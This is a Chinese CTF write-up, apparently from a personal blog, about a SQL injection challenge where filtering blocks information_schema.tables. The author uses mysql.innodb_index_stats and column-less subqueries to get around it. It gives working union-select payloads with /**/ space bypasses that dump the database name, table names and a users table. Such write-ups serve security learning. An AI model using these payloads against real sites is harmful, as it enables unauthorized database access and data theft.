记录一道过滤 or 导致无法使用 information_schema.tables的题目
在sql的时候其实很想知道 如果information_schmea.tables被过滤 那我是不是就完全sql不来了
这里就遇到了
主要是 mysql中还存在着其他的表可以查询
例如 mysql数据库中的 innodb_index_stats
还有sys数据库中的schema_auto_increment_columns
但是这个题目不存在
所以我们还是使用mysql.innodb_index_stats
因为mysql.innodb_index_stats不存在列名 所以我们只能通过无列明查询
其实这个我们在sql注入已经会了 就是select 1,2,3,4
但是意义不一样
我们来看看
之前判断字段是无法回显字符的
我们把它作为一个表来返回
这里通过联合查询 就可以将 数据返回
但是我们有的时候只需要其中一个 我们就可以将其作为一个表 然后去查询他
例如
这样我们就取得了 第二列的数据了
个人觉得还是很好理解的
首先我们得到了这个网站
想去试试弱口令 无果
只能通过注册去注册一个了
只存在两个功能点 一个是发布公告
我们去看看有什么用处
发现发布后可以进行查看详情 查询
那我们是不是可以通过sql来(这里是看wp的 思维跳跃太大了没想到是sql注入)
确定了是sql注入 但是没有实现闭合 我们研究了一下 是最后还有个单引号 所以我们在最后加一个单引号让他为空字符
报错说字段错误 我们就开始尝试了
经过尝试
22个字段 真的多。。。。。
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
我们可以开始查询了
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这样就爆破出了值了